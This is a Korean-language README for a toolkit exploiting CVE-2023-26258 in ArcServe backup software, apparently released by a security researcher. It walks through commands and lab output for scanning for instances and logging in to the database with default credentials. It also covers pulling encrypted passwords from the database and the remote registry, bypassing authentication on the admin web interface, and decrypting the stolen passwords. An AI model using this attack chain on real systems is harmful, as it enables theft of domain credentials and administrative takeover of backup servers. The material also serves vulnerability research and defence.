
ArcServe 백업 소프트웨어를 대상으로 하는 CVE-2023-26258용 익스플로잇 툴킷. 네트워크 스캐너, 데이터베이스 및 레지스트리에서 자격 증명 추출기, 비밀번호 복호화기, 관리 웹 인터페이스에 대한 인증 우회 익스플로잇을 포함합니다.
TL;DR;
네트워크 내에 있다면 ArcServeRadar.py를 사용하여 기본 설정된 인스턴스를 스캔할 수 있습니다. C#으로 포팅하려고 했지만 실패했습니다. 방법을 아신다면 자유롭게 해보세요 :)
c:\Users\vagrant\Desktop>python ArcServeRadar.py "Ethernet 2" 6969 192.168.56.20
-=[ ArcServe Finder - @TheXC3LL - MDSec ]=-
[*] Starting to monitor
[*] Broadcasting
WARNING: Mac address to reach destination not found. Using broadcast.
[+] 192.168.56.10 => ServerName;KINGSLANDING;InstanceName;ARCSERVE_APP;IsClustered;No;Version;15.0.2000.5;tcp;62197;;
기본 설정된 경우 기본 DB 자격 증명을 사용하여 위에서 얻은 IP와 포트에 연결하고, ArcServe-dbpwner.py를 사용하여 사용자 이름/비밀번호 및 ArcServe 인스턴스 위치를 읽을 수 있습니다.
psyconauta@insulanova:/tmp|⇒ python3 arcserve-dbpwner.py -target 192.168.56.10 -port 62197
-=[ ArcServe credential retriever (from DB) - Juan Manuel Fernandez (@TheXC3LL) - MDSec]=-
[*] Connecting to the server
[*] Login with default creds
[*] Extracting credentials:
[+] User: SEVENKINGDOMS\vagrant
[+] Password: {133, 60, 97, 192, 158, 159, 25, 141, 58, 250, 174, 169, 141, 216, 104, 98}; // Paste it to the decrypter
[+] User: SEVENKINGDOMS\vagrant
[+] Password: {133, 60, 97, 192, 158, 159, 25, 141, 58, 250, 174, 169, 141, 216, 104, 98}; // Paste it to the decrypter
[*] Finding hosts:
[+] 192.168.56.10 | kingslanding.sevenkingdoms.local | Windows Server 2019 Datacenter Evaluation
[+] 192.168.56.10 | kingslanding.sevenkingdoms.local | NULL
Have a nice day! ^_^
도구로 검색된 모든 비밀번호는 ArcServeDecrypter.exe를 사용하여 복호화할 수 있습니다. C 코드를 편집하여 배열을 추가하고 컴파일 및 실행하면 됩니다.
C:\Users\vagrant>C:\Users\vagrant\source\repos\ArcServeDecrypter\x64\Debug\ArcServeDecrypter.exe
-={ ArcServe Decryptor by Juan Manuel Fernandez (@TheXC3LL) - MDSec}=-
[+] Decrypted string: vagrant
ArcServe가 설치된 서버에 로컬 관리자 권한이 있는 사용자가 있다면, Remote Registry 서비스(arcserve-regkeys.py)를 사용하여 자격 증명을 읽을 수 있습니다.
psyconauta@insulanova:/tmp|⇒ python3 arcserve-regkeys.py -u eddard.stark -p 'FightP3aceAndHonor!' -d sevenkingdoms.local -target-ip 192.168.56.20
-=[ ArcServe Credential Stealer - (@TheXC3LL) - MDSec]=-
[+] Connecting to 192.168.56.20
[+] Checking Remote Registry service status...
[+] Service is down!
[+] Starting Remote Registry service...
[+] Connecting to 192.168.56.20
[+] Opening registry key
[*] User: P3TWLADS11STD\vagrant
[*] Password: {133, 60, 97, 192, 158, 159, 25, 141, 58, 250, 174, 169, 141, 216, 104, 98}; // Paste it to the decrypter
[+] Stopping Remote Registry Service
Have a nice day! ^_^
마지막으로, ArcServe 버전이 패치되지 않았다면 (CVE-2023-26258) 관리 웹 인터페이스에서 인증 우회를 악용하여 관리자 자격 증명을 검색할 수 있습니다 (ArcServe-exploit.py).
psyconauta@insulanova:/tmp|⇒ python3 ArcServe-exploit.py 192.168.56.10
-=[ ArcServe Pwner by Juan Manuel Fernandez (@TheXC3LL) - MDSec]=-
[*] Triggering info leak
[+] AdminName: SEVENKINGDOMS\vagrant
[+] AuthUUID: 6bf37b8e-ac4f-487d-8d74-d6d0a8d9b8d1
[*] Getting a valid session
[+] Session: AGENTJSESSIONID=CA35EF18A4FF2F85E25538F60C3F7428
[*] Doing an authenticated request to validate if session is valid
[*] Session is valid
[+] Admin: SEVENKINGDOMS\vagrant
[+] Password: {133, 60, 97, 192, 158, 159, 25, 141, 58, 250, 174, 169, 141, 216, 104, 98} // Paste it to the decrypter
Have a happy hacking! ^_^
여기서 찾을 수 있는 도구들에 대한 요약은 여기까지입니다.